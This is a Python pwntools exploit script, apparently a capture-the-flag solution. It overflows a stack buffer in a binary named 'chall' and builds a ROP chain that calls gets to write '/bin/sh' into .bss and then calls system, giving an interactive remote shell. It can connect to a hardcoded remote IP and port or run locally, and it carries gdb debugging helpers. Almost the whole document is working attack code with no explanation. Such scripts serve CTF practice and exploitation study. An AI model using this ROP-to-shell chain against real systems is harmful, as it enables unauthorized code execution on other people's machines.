#/usr/bin/python3

from pwn import *

context.arch = 'amd64'

PATH = 'src/chall'

HOST = '54.179.233.189'
PORT = 8001

GDBSOURCE = ['~/peda/peda.py', '~/pwndbg/gdbinit.py']
LIBC_DBG  = {
    '16.04' : ['~/debug/ubuntu-16.04/dbg64/', '~/debug/ubuntu-16.04/dbg64/libc-2.23.so'],
    '18.04' : ['~/debug/ubuntu-18.04/dbg64/', '~/debug/ubuntu-18.04/dbg64/libc-2.27.so'],
    '20.04' : ['~/debug/ubuntu-20.04/dbg64/', '~/debug/ubuntu-20.04/dbg64/libc-2.31.so'],
    '20.10' : ['~/debug/ubuntu-20.10/dbg64/', '~/debug/ubuntu-20.10/dbg64/libc-2.32.so'],
}
GDBSCRIPT = '''
b *main+246
set follow-fork-mode parent
'''

def debug(gdbscript, gdbsrc = 0, libc = None):
    if type(r) == process:
        scripts = [
            f'source ~/debug/loadsym.py',
            f'source ~/gdb_sigwait/src/sighandler.gdb',
            f'source {GDBSOURCE[gdbsrc]}',
        ]
        if libc != None:
            scripts += [
                f'set debug-file-directory {LIBC_DBG[libc][0]}',
                f'loadsym {LIBC_DBG[libc][1]}'
            ]
        gdb.attach(r, '\n'.join(scripts) + gdbscript)

def exploit(r):
    pop_rdi_ret = 0x0000000000401383

    payload  = b'A' * 0x48
    payload += p64(0xdeadbeef) * 2
    payload += p64(pop_rdi_ret)
    payload += p64(elf.bss(0x100))
    payload += p64(pop_rdi_ret+1)
    payload += p64(elf.sym.gets)
    payload += p64(pop_rdi_ret)
    payload += p64(elf.bss(0x100))
    payload += p64(pop_rdi_ret+1)
    payload += p64(elf.sym.system)

    # debug(GDBSCRIPT, gdbsrc = 0, libc = None)

    r.sendlineafter(b"> ", payload)
    pause()
    r.sendline(b"/bin/sh")

    r.interactive()

if __name__ == '__main__':
    elf  = ELF(PATH, checksec = True)
    # libc = ELF(elf.libc.path, checksec = False)

    if args.REMOTE:
        r = remote(HOST, PORT)
    else:
        r = elf.process(aslr = 0, env = {})
    exploit(r)